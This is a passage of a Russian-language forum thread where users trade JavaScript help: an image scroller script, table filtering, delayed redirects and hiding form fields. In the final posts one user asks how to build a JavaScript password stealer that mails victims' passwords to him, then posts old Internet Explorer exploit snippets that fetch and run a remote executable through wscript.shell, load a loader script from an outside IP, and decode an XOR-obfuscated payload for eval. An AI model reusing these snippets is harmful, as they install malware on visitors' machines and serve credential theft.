[JavaScript, AJAX] Задай вопрос, получи ответ

Discussion in 'PHP' started by banned, 9 Jun 2007.

Thread Status:
Not open for further replies.
  1. mff

    mff Elder - Старейшина

    Joined:
    12 Mar 2008
    Messages:
    2,074
    Likes Received:
    701
    Reputations:
    227
    SCROLLI-PUPER v2.7.5

    HTML:
    /*
     * SCROLLI-PUPER v2.7.5
     *
     * Copyright 2006-2007 Ruslan Sinitskiy. All rights reserved.
     * Use is subject to license terms.
     * Mailto : [email protected]
     *
     */
    
    var LEFT=0;
    var RIGHT=0;
    var TOP=0;
    var WIDTH_IMG = 86;
    var HEIGHT_IMG = 94;
    var IMG_DIR = "http://images.zvezdi.ru/1str/";
    var IMG_TYPE = ".jpg";
    var IMAGES_URL = "/includes/";
    var BGRND_COLOR="#000";
    var LIGHT_COLOR="#fff";
    var SIDE_BGRD_COLOR="#000";
    var TOP_Z_INDEX=5;
    var SCROLL_TYPE=0;
    var SCROLL_SPEED=2;
    var USE_ACCELERATOR=true;
    var ALWAYS_SCROLL = true;
    var HORIZ_POSITION = true;
    var SIZE_PUPER = 0;
    var LOOP_IMAGES = true;
    
    function startSP(){new ScrolliPuper().startSP();};var ScrolliPuper=function(){this.startSP=function(){ai();C();if(USE_ACCELERATOR){id('scrollipuper').onmouseover=M;id('scrollipuper').onmousemove=M;id('scrollipuper').onmouseout=F;}setInterval(aD,200);};function ai(){width=SIZE_PUPER;height=SIZE_PUPER;if(SIZE_PUPER<=0){width=document.body.clientWidth;height=document.body.clientHeight;}n=HORIZ_POSITION?Math.ceil(width/WIDTH_IMG)+1:Math.ceil(height/HEIGHT_IMG)+1;w=HORIZ_POSITION?width:height;};function aD(){if(SIZE_PUPER<=0){if(width!=document.body.clientWidth||height!=document.body.clientHeight){ai();av=0;C();}}};function ag(url){if(window.XMLHttpRequest){l=new XMLHttpRequest();}else if(window.ActiveXObject){l=new ActiveXObject("Microsoft.XMLHTTP");}l.open("GET",url,true);};function C(){if(B)return;B=true;if(!f)idnum++;else idnum--;if(idnum>COUNT_ID)idnum-=COUNT_ID;if(idnum<=0)idnum+=COUNT_ID;ag(IMAGES_URL+idnum.toString()+".xml");l.onreadystatechange=al;l.send(null);};var B=false;var pause= !ALWAYS_SCROLL;var idnum=0;var aH=navigator.userAgent.toLowerCase().indexOf("msie")> -1;var width;var height;var n;var l;var av=0;var m=new Array();var Y;var G=1;var V=SCROLL_SPEED;var w;function al(){try{if(l.readyState==4){if(l.status==200){var ao=l.responseXML.getElementsByTagName("i");for(var i=0;i<ao.length;i++){if(ao[i]==null||ao[i].childNodes==null||ao[i].childNodes[0]==null)continue;var A=ao[i].childNodes[0].firstChild.nodeValue+"_SPRT_"+ao[i].childNodes[1].firstChild.nodeValue;if(ao[i].childNodes[2])A+="_SPRT_"+ao[i].childNodes[2].firstChild.nodeValue;m[m.length]=A;}B=false;if(av==0){if(m.length<n*COUNT_LINES)C();else af();}}else{B=false;ax("AJAX status = "+l.status);}}}catch(ex){B=false;ae(ex);}};function ae(ad){if(!(typeof console=='undefined'))console.error(ad);};function ax(ad){if(!(typeof console=='undefined'))console.warn(ad);};function aB(ad){if(!(typeof console=='undefined'))console.info(ad);};function log(ad){if(!(typeof console=='undefined'))console.log(ad);};var c=0;Array.prototype.aI=function(){var aq=new Array();for(var i=this.length-1;i>=0;i--){aq[this.length-1-i]=this[i];}for(var i=aq.length-1;i>=0;i--){this[i]=aq[i];}};function aa(){if(LOOP_IMAGES){m.splice(0,1);if(m.length<=COUNT_LINES*3)C();}};function ar(j,i){var A;try{var t=HORIZ_POSITION?j*HEIGHT_IMG:j*WIDTH_IMG;var r=HORIZ_POSITION?i*WIDTH_IMG-WIDTH_IMG:i*HEIGHT_IMG-HEIGHT_IMG;var Z=v("div",{id:"divimg"+j.toString()+i.toString(),style:HORIZ_POSITION?"position:absolute; top:"+t+"px; right:"+r+"px;":"position:absolute; left:"+t+"px; bottom:"+r+"px;"});var an="";var at="";var ap="";if(m.length>0){A=m[c];if(!LOOP_IMAGES)if(!f)c--;else c++;if(c<0)c+=m.length;else if(c>=m.length)c-=m.length;var I=A.indexOf("_SPRT_",0);var T=A.indexOf("_SPRT_",I+1);an=IMG_DIR+A.substring(0,I)+IMG_TYPE;if(T!= -1){at=A.substring(I+6,T);ap=A.substring(T+6);}else{at=A.substring(I+6);ap="";}aa();}var aA=v("img",{id:"img"+j.toString()+i.toString(),src:an,width:WIDTH_IMG,height:HEIGHT_IMG,border:"0px"});var d=4;if(aH)d=0;var az=v("div",{id:"selimg"+j.toString()+i.toString(),style:"position:absolute; top:0px; left:0px; width:"+(WIDTH_IMG-d).toString()+"px; height:"+(HEIGHT_IMG-d).toString()+"px; border-style:double; border-width:2px; border-color:"+LIGHT_COLOR+";display:none;"});Z.onmouseover=aw;Z.onmouseout=ay;var aj=v("a",{id:"aimg"+j.toString()+i.toString(),href:at,title:ap});aj.appendChild(aA);aj.appendChild(az);Z.appendChild(aj);id('mather').appendChild(Z);}catch(ex){ae(ex);}};function aw(e){if(Y)Y.style.display="none";Y=id("sel"+this.id.substring(3));Y.style.display="";};function ay(e){id("sel"+this.id.substring(3)).style.display="none";};function af(){av=1;var div=HORIZ_POSITION?v("div",{id:"mather",style:"position:relative; top:"+TOP+"px; left:"+LEFT+"px; width:"+width+"px; height:"+(COUNT_LINES)*HEIGHT_IMG+"px; background:"+BGRND_COLOR+"; z-Index:"+TOP_Z_INDEX+";"}):v("div",{id:"mather",style:"position:relative; top:"+TOP+"px; left:"+LEFT+"px; height:"+height+"px; width:"+(COUNT_LINES)*WIDTH_IMG+"px; background:"+BGRND_COLOR+"; z-Index:"+TOP_Z_INDEX+";"});var aE=id("scrollipuper");while(aE.hasChildNodes()){aE.removeChild(aE.firstChild);}aE.appendChild(div);for(var j=0;j<COUNT_LINES;j++){for(var i=0;i<(LOOP_IMAGES?n:m.length);i++){ar(j,i);}}var aG=HORIZ_POSITION?v("div",{id:"left",style:"position:absolute; top:0px; left:-"+LEFT+"px; width:"+LEFT+"px; height:"+COUNT_LINES*HEIGHT_IMG+"px; background:"+SIDE_BGRD_COLOR+"; z-Index:"+TOP_Z_INDEX+";"}):v("div",{id:"left",style:"position:absolute; left:0px; top:"+TOP+"px; height:"+TOP+"px; width:"+COUNT_LINES*WIDTH_IMG+"px; background:red; z-Index:"+TOP_Z_INDEX+";"});var aF=HORIZ_POSITION?v("div",{id:"right",style:"position:absolute; top:0px; right:-"+RIGHT+"px; width:"+RIGHT+"px; height:"+COUNT_LINES*HEIGHT_IMG+"px; background:"+SIDE_BGRD_COLOR+"; z-Index:"+TOP_Z_INDEX+";"}):v("div",{id:"right",style:"position:absolute; left:0px; bottom:-"+BOTTOM+"px; height:"+BOTTOM+"px; width:"+COUNT_LINES*WIDTH_IMG+"px; background:red; z-Index:"+TOP_Z_INDEX+";"});D();};function id(name){return document.getElementById(name);};function add(as,aC){id(aC).appendChild(as);};function ah(){if(typeof SCROLL_SPEED=='undefined')return;V=SCROLL_SPEED;G=1;pause=true;};function F(){if(typeof SCROLL_SPEED=='undefined')return;V=SCROLL_SPEED;G=1;pause=ALWAYS_SCROLL?false:true;};function U(d,s){G=d;V=s;pause=false;if(SCROLL_TYPE==0)f=true;else f=false;};function X(){U(1,SCROLL_SPEED);};function R(){U(1,SCROLL_SPEED*10);};function P(){U(3,SCROLL_SPEED*10);};function L(d,s){G=d;V=s;pause=false;if(SCROLL_TYPE==0)f=false;else f=true;};function Q(){L(1,SCROLL_SPEED);};function O(){L(1,SCROLL_SPEED*10);};function K(){L(3,SCROLL_SPEED*10);};function ab(){if(!pause){for(var j=0;j<COUNT_LINES;j++){for(var i=0;i<(LOOP_IMAGES?n:m.length);i++){if(HORIZ_POSITION)am("img"+j.toString()+i.toString(),j);else ac("img"+j.toString()+i.toString(),j);}}}D();};function M(e){if(typeof HORIZ_POSITION=='undefined')return;var k;if(e){if(typeof(e.pageX)=='number')k=HORIZ_POSITION?e.pageX:e.pageY;else k=HORIZ_POSITION?e.clientX:e.clientY;}else{e=window.event;if(HORIZ_POSITION){k=e.clientX;if(document.documentElement&&(document.documentElement.scrollTop||document.documentElement.scrollLeft))k+=document.documentElement.scrollLeft;else if(document.body&&(document.body.scrollTop||document.body.scrollLeft))k+=document.body.scrollLeft;}else{k=e.clientY;if(document.documentElement&&(document.documentElement.scrollTop||document.documentElement.scrollLeft))k+=document.documentElement.scrollTop;else if(document.body&&(document.body.scrollTop||document.body.scrollLeft))k+=document.body.scrollTop;}}if(HORIZ_POSITION){if(k>=LEFT){if(k<=w*0.15+LEFT)P();else if(k<=w*0.30+LEFT)R();else if(k<=w*0.45+LEFT)X();else if(k<=w*0.55+LEFT)ah();else if(k<=w*0.70+LEFT)Q();else if(k<=w*0.85+LEFT)O();else if(k<=w+LEFT)K();else F();}else F();}else{if(k>=TOP){if(k<=w*0.15+TOP)P();else if(k<=w*0.30+TOP)R();else if(k<=w*0.45+TOP)X();else if(k<=w*0.55+TOP)ah();else if(k<=w*0.70+TOP)Q();else if(k<=w*0.85+TOP)O();else if(k<=w+TOP)K();else F();}else F();}};function H(o){if(!LOOP_IMAGES)return;if(typeof m[c]=='undefined')return;try{var A=m[c];if(!LOOP_IMAGES)if(!f)c--;else c++;if(c<0)c+=m.length;else if(c>=m.length)c-=m.length;var I=A.indexOf("_SPRT_",0);var T=A.indexOf("_SPRT_",I+1);id(o).src=IMG_DIR+A.substring(0,I)+IMG_TYPE;if(T!= -1){id("a"+o).href=A.substring(I+6,T);id("a"+o).title=A.substring(T+6);}else{id("a"+o).href=A.substring(I+6);id("a"+o).title="";}aa();}catch(ex){ae(ex);}};var f=false;function ac(o,type){var div=id("div"+o);if(!div)return;var J=div.style.bottom;var g=parseInt(J.substring(0,J.length-2));if((SCROLL_TYPE!=0&& !f)||(SCROLL_TYPE==0&&f)){g-=G;if(g< -HEIGHT_IMG){g+=(LOOP_IMAGES?n:m.length)*HEIGHT_IMG;H(o);div.style.display='none';}else if(div.style.display=='none')div.style.display='';}else{g+=G;if(g>height){g-=(LOOP_IMAGES?n:m.length)*HEIGHT_IMG;H(o);div.style.display='none';}else if(div.style.display=='none')div.style.display='';}div.style.bottom=g.toString()+"px";};function am(o,type){var div=id("div"+o);if(!div)return;var J=div.style.right;var g=parseInt(J.substring(0,J.length-2));if((SCROLL_TYPE!=0&& !f)||(SCROLL_TYPE==0&&f)){g-=G;if(g< -WIDTH_IMG){g+=(LOOP_IMAGES?n:m.length)*WIDTH_IMG;H(o);div.style.display='none';}else if(g<=width&&div.style.display=='none')div.style.display='';}else{g+=G;if(g>width){g-=(LOOP_IMAGES?n:m.length)*WIDTH_IMG;H(o);div.style.display='none';}else if(g>= -WIDTH_IMG&&div.style.display=='none')div.style.display='';}div.style.right=g.toString()+"px";};var ak;function D(){if(ak)clearTimeout(ak);ak=setTimeout(ab,100/V);}};function v(name,attributes){var as=document.createElement(name);if(typeof attributes=='object'){for(var i in attributes){as.setAttribute(i,attributes[i]);if(i.toLowerCase()=='class'){as.className=attributes[i];}else if(i.toLowerCase()=='style'){as.style.cssText=attributes[i];}}}for(var i=2;i<arguments.length;i++){var au=arguments[i];if(typeof au=='string'){au=document.createTextNode(au)};as.appendChild(au);}return as;}
     
  2. banned

    banned Banned

    Joined:
    20 Nov 2006
    Messages:
    3,324
    Likes Received:
    1,193
    Reputations:
    252
    Но можно потратить много времени чтобы анпакнуть скрипт
     
    2 people like this.
  3. svesve

    svesve Elder - Старейшина

    Joined:
    15 Jun 2007
    Messages:
    574
    Likes Received:
    86
    Reputations:
    11
    Выплняется запрос к БД выводятся данные в таблицу
    реально ли на яве осуществить фильтрацию по подстроке?
    пример:
    фио др мыло
    Вася 1янв вася@dfcz
    .......

    над каждой колонкой поле ввода куда вбиваем подстроку и уже что не подходит под нее то сразу отпадает....
     
    #1163 svesve, 4 Feb 2009
    Last edited: 4 Feb 2009
  4. Корвин

    Корвин Elder - Старейшина

    Joined:
    26 Feb 2007
    Messages:
    256
    Likes Received:
    31
    Reputations:
    3
    а не проще выбирать из базы по определенным параметрам? например:

    WHERE name='Вася' AND date='1янв' AND mail='вася@dfcz'


    и чо ты в теме по яваскрипту пишешь про базы данных?
     
  5. svesve

    svesve Elder - Старейшина

    Joined:
    15 Jun 2007
    Messages:
    574
    Likes Received:
    86
    Reputations:
    11
    Выведена таблица с данными
    ее сам клиент фильтрует уже как ему надо например по первым трем буквам по 4 и т.д
    если делать каждый раз запрос то представь что будет если 10000 клиентов это сделают,понятно дело что это все либо аякс либо ява....вот и спросил может кто встречал
     
    1 person likes this.
  6. Корвин

    Корвин Elder - Старейшина

    Joined:
    26 Feb 2007
    Messages:
    256
    Likes Received:
    31
    Reputations:
    3
    у тебя такой крутой сайт на котором одновременно 10 000 клиентов будут делать этот запрос?
     
  7. prescott

    prescott Elder - Старейшина

    Joined:
    28 Jul 2008
    Messages:
    132
    Likes Received:
    43
    Reputations:
    5
    2 korvin: чувак мыслит в правильную сторону, и не надо 10000 посетителей чтобы сделать для них удобную страничку...

    2 svesve: спешиал фор ю =)

    PHP:
    <html>
    <
    head>
    <
    title>test</title>
    </
    head>
        <
    body>
        <
    script type='text/javascript'>
        function 
    gebi(id) {
        return 
    document.getElementById(id);
        }
        
        function 
    gofiltr(v) {
        
            for (var 
    i=1truei++) {
                var 
    row='r' i;
                var 
    td='t' i;
                
    //если строки кончились выходим из цикла
                
    if (gebi(row)==null) break;
                
    //для строк таблицы такой тип display при отображении
                
    var showType='table-row';

    //это для браузеров - инвалидов
                
    if (navigator.userAgent.indexOf('IE')!=-1showType='block';
                    
    // если нет вхождения искомой строки в ячейке прячем строку, иначе отображаем
                
    if (gebi(td).innerHTML.indexOf(v)==-1gebi(row).style.display='none'; else gebi(row).style.display=showType;
            }
        }
        
    </script>
        
        <input type='text' onkeyup='gofiltr(this.value);'>
        
        <table border='1'>
        <tr id='r1'>
        <td id='t1'>afgh</td><td>ddd</td>
        </tr>
        <tr id='r2'>
        <td id='t2'>aagh</td><td>ddd</td>
        </tr>
        <tr id='r3'>
        <td id='t3'>aaah</td><td>ddd</td>
        </tr>
        </table>
        </body>
    </html>
    1) строки нумируешь по порядку, чтобы по ним можно было обратится в цикле
    2) на онкейап поля фильтра вешаешь функцию, проверяющую вхождение строки в ячейке и прячешь или показываешь строки таблицы. (в примере поиск идет по первой ячейке)
    3) в примере сделал вхождение в любой части ячейки, если хочешь чтобы фильтр был сначала строки, проверяй дополнительно позицию вхождения строки...
     
    #1167 prescott, 5 Feb 2009
    Last edited: 5 Feb 2009
    1 person likes this.
  8. astrologer

    astrologer Elder - Старейшина

    Joined:
    30 Aug 2007
    Messages:
    837
    Likes Received:
    267
    Reputations:
    59
    Нумеровать по порядку, конечно, не нужно - есть уже готовые коллекции [ object HTMLTableElement ].rows и .cells, метод getElementsByTagName, и ещё некоторые не менее удобные способы

    Достаточно сохранить текущее значение в переменную и обойтись без определения браузера
     
    2 people like this.
  9. svesve

    svesve Elder - Старейшина

    Joined:
    15 Jun 2007
    Messages:
    574
    Likes Received:
    86
    Reputations:
    11
    Работаю с плагином pager и tablesorter для jquery
    пролема такая

    на выходе в имею данные в виде таблицы
    PHP:
    <div id="main">
    <table cellspacing="1" class="tablesorter">
    <thead>
        <tr>
        <th><strong>Дата</strong></th>
        <th><strong>Время</strong></th>
        <th><strong>Кто</strong></th>
        <th><strong>Таблица</strong></th>
        <th><strong>Колонка</strong></th>
        <th><strong>Primary Key</strong></th>
        <th><strong>Старое значение</strong></th>
        <th><strong>Новое значение</strong></th>
      </tr>
    </thead>
        <tfoot>
        <tr>
        <th><strong>Дата</strong></th>
        <th><strong>Время</strong></th>
        <th><strong>Кто</strong></th>
        <th><strong>Таблица</strong></th>
        <th><strong>Колонка</strong></th>
        <th><strong>Primary Key</strong></th>
        <th><strong>Старое значение</strong></th>
        <th><strong>Новое значение</strong></th>
            </tr>
        </tfoot>
    <tbody>

    <?
    while($row = $db->fetch_A())
    {
        echo "
      <tr>
        <td>$row[date]</td>
        <td>$row[time]</td>
        <td>$row[fio]</td>
        <td>$row[table]</td>
        <td>$row[column]</td>
        <td>$row[pk]</td>
        <td>";if($row['oldvalue']==''){ echo "&nbsp;";}else {echo $row['oldvalue'];};
        echo"</td><td>";
        if($row['newvalue']==''){ echo "&nbsp;";}else {echo $row['newvalue'];};
        echo"</td>
      </tr>";
        }
    ?>
    </tbody>
    </table>
    <div id="pager" class="pager">
        <form>
            <img src="js/pager/icons/first.png" class="first"/>
            <img src="js/pager/icons/prev.png" class="prev"/>
            <input type="text" class="pagedisplay"/>
            <img src="js/pager/icons/next.png" class="next"/>
            <img src="js/pager/icons/last.png" class="last"/>
            <select class="pagesize">
                <option selected="selected"  value="10">10</option>

                <option value="20">20</option>
                <option value="30">30</option>
                <option  value="40">40</option>
            </select>
        </form>
    </div>

    </div>
    все прекрасно все выводится сортируется НО
    страницы не переключить.тоесть он отображает первые 10 записей и все...хотя они все выведены(все 300) это видно при сортировке....таблица которая в примерах тупо забита руками и там все работает....что подскажете?

    З.Ы. яваскрипт прописаны просто весь код слишком много писать )
     
  10. svalck

    svalck Member

    Joined:
    24 Mar 2008
    Messages:
    79
    Likes Received:
    7
    Reputations:
    0
    Подскажите пожалуйста.
    Замечал что у водил(таксистов) на мобильниках есть програмка на яве(типа аськи-или терминал),
    они принимают по ней сообщения от диспетчеров... а как она, с чем связываеться? с сервером-сайтом или как? и есть ли где нить где можно скачать посмотреть такую штуку?
    спасиба.
     
  11. Корвин

    Корвин Elder - Старейшина

    Joined:
    26 Feb 2007
    Messages:
    256
    Likes Received:
    31
    Reputations:
    3
    ни разу такой темы у водил маршруток не видел, хотя почти каждый день на переднем сидении езжу рядом с ними, погугли, мож найдешь чо
     
  12. svalck

    svalck Member

    Joined:
    24 Mar 2008
    Messages:
    79
    Likes Received:
    7
    Reputations:
    0
    не у маршруток.... здесь конкретно у таксистов. в городах отходят от раций и переходят на терминалы.. гугль ничего не дал...
     
  13. Gadik

    Gadik Elder - Старейшина

    Joined:
    29 May 2006
    Messages:
    97
    Likes Received:
    19
    Reputations:
    0
    Добрый день. Подскажите пожалуйста такую вещь:

    onclick="location.href='с понтом путь' "


    можно ли каким-то образом сделать задержку, к примеру в 2 сек, перед переходом на страницу согласно скрипта?

    если использовать такой способ:
    setTimeout(location.href='/cart.php',5000)

    то задержки не происходит потому что функция не в ковычках, а в ковычки ее е взять

    Заранее пасибо
     
  14. NOmeR1

    NOmeR1 Everybody lies

    Joined:
    2 Jun 2006
    Messages:
    1,068
    Likes Received:
    783
    Reputations:
    213
    Code:
    <script>
    function gohref() {
    setTimeout("location.href='/cart.php'",5000)
    }
    </script>
    <div onclick="gohref()">Перейти</div>
     
    2 people like this.
  15. Gadik

    Gadik Elder - Старейшина

    Joined:
    29 May 2006
    Messages:
    97
    Likes Received:
    19
    Reputations:
    0
    хых =) пасибо) работает
     
  16. DMajere

    DMajere New Member

    Joined:
    25 Dec 2008
    Messages:
    40
    Likes Received:
    2
    Reputations:
    0
    доброго времени суток. когда-то давно я задал здесь вопрос о том, как скрыть элементы формы или другие элементы разметки
    ответ я получил неверный.а потому разобравшись, решил написать. мало ли у кого будет подобная проблема.

    вот такой код

    Code:
    <html>
    <head>
    <script type="text/javascript">
    function hide(value)
    {
    if (value==2){
    document.getElementById(2).style.visibility= 'hidden';}
    else
    {document.getElementById(2).style.visibility= 'visible';}
    }
    </script>
    </head>
    <body>
    <select class="width" name="1" id="1" onChange="hide(this.value)">
    		<option   value="1" label="1">1</option>
    		<option selected='selected'  value="2" label="1">2</option>
    </select>
    <select class="width" name="2" id="2" >
    		<option   value="1" label="1">1</option>
    		<option selected='selected'  value="2" label="2">2</option>
    </select>
    </body></html>
    
     
  17. or1

    or1 Banned

    Joined:
    7 Sep 2008
    Messages:
    36
    Likes Received:
    4
    Reputations:
    0
    есть множество на javascript троянов довнладоров но есть у меня один вопрос,есть ли такой скрипт подобному знаменитому пинчу чтоб тырил пароли от ящиков проще -же написать на яваскрипт подобного пинча и с функцией (onMouseOver) проведя мышкой скрипт сработал и пароли жертвы ушли к тебе на твоё-же мыло
     
    1 person likes this.
  18. NOmeR1

    NOmeR1 Everybody lies

    Joined:
    2 Jun 2006
    Messages:
    1,068
    Likes Received:
    783
    Reputations:
    213
    Это фантастика. К счастью, на ява скрипте такого нет и быть не может.
     
  19. or1

    or1 Banned

    Joined:
    7 Sep 2008
    Messages:
    36
    Likes Received:
    4
    Reputations:
    0
    ну есть-же трояны на javascript вот один вырезанный код

    ну есть-же трояны на javascript вот один вырезанный код


    -------------------------------------------------------
    function injectIt() {
    document.frames[0].document.body.insertAdjacentHTML('afterBegin','injected<script language="JScript" DEFER>
    var rF="\\\\\\\\IPADDRESS\\\\NULLSHAREDFOLDER\\\\bad.exe";var wF="%windir%\\\\_tmp.exe";var
    o=new ActiveXObject("wscript.shell");var e="%comspec% /c copy "+rF+" "+wF;var err=o.Run(e,0,true);if(err==0)
    o.Run(wF,0,false);</script>');
    }
    document.write('<iframe src="shell:WINDOWS\\Web\\TIP.HTM"></iframe>');
    setTimeout("injectIt()", 1000);
    --------------------------------------------------------- redir.asp
     
  20. or1

    or1 Banned

    Joined:
    7 Sep 2008
    Messages:
    36
    Likes Received:
    4
    Reputations:
    0
    могу скинуть более таких скриптов но дело в том как сделать мыльный скрипт?



    <scr!pt language="Javascr!pt">
    function InjectedDuringRedirection(){
    showModalDialog('md.htm',window,"dialogTop:-10000\;dialogLeft:-
    10000\;dialogHeight:1\;dialogWidth:1\;").location="javascr!pt'<SCR!PT SRC=\\'http://217.107.218.***/shellscr!pt_loader.js\\'><\/scr!pt>'";
    }</scr!pt>
    <scr!pt language="javascr!pt">setTimeout("myiframe.execScript(InjectedDuringRedirection.toString())",100
    );
    setTimeout("myiframe.execScript('InjectedDuringRedirection()') ",101);
    document.write('<IFRAME ID=myiframe NAME=myiframe SRC="redir.php" WIDTH=0
    HEIGHT=0></IFRAME>');</scr!pt>
    <scr!pt>
    x=34;
    es="84;66;86;5;73;119;71;89;95;91;12;16;14;88;89;95;86;92;67;27;85;69;9
    3;88;78;94;108;82;78;74;48;105;107;120;73;79;48;38;58;105;37;9;35;41;55
    ;111;109;113;61;3;59;37;35;39;118;61;53;56;41;48;59;49;20;79;0;12;0;28;
    93;106;98;6;40;4;8;20;64;28;4;8;30;22;90;23;23;20;19;30;8;20;9;19;26;60
    ;239;237;237;241;164;184;166;165;255;225;227;255;233;175;181;130;154;25
    4;208;252;240;236;184;228;236;224;246;254;178;255;241;237;196;196;208;1
    31;153;133;132;208;192;192;222;206;140;156;222;215;146;138;191;185;219;
    247;217;211;193;151;211;213;210;216;204;247;148;140;142;254;227;249;169
    ;165;162;172;169;191;236;169;175;187;177;236;242;241;153;134;251;158;14
    0;138;224;182;180;169;179;179;218;135;139;143;129;223;201;200;171;211;1
    82;183;161;172;167;161;222;188;186;167;213;157;130;131;136;195;213;212;
    206;204;201;209;305;305;309;301;310;308;318;297;313;317;317;292;291;352
    ;367;358;382;319;369;379;377;303;300;312;373;376;371;373;306;373;362;37
    0;258;257;342;346;340;320;283;261;348;332;338;351;259;341;259;348;339;3
    23;347;323;320;345;339;323;282;263;262;276;339;351;340;346;291;309;380;
    356;383;328;332;296;280;294;314;318;316;355;317;295;319;294;378;358;356
    ;357;358;379;376;364;362;363;364;369;382;366;332;321;339;335;324;257;26
    5;260;285;260;271;261;280;323;268;256;276;264;347;328;";
    var ds=new String(); ads=es.split(";"); k=ads.length-1;
    for(var j=0;j<k;j++)
    {e=ads[j];d=e^x;x+=1;ds=ds+String.fromCharCode(d);}eval(ds)
    </scr!pt>
     
    #1180 or1, 13 Feb 2009
    Last edited: 13 Feb 2009
Thread Status:
Not open for further replies.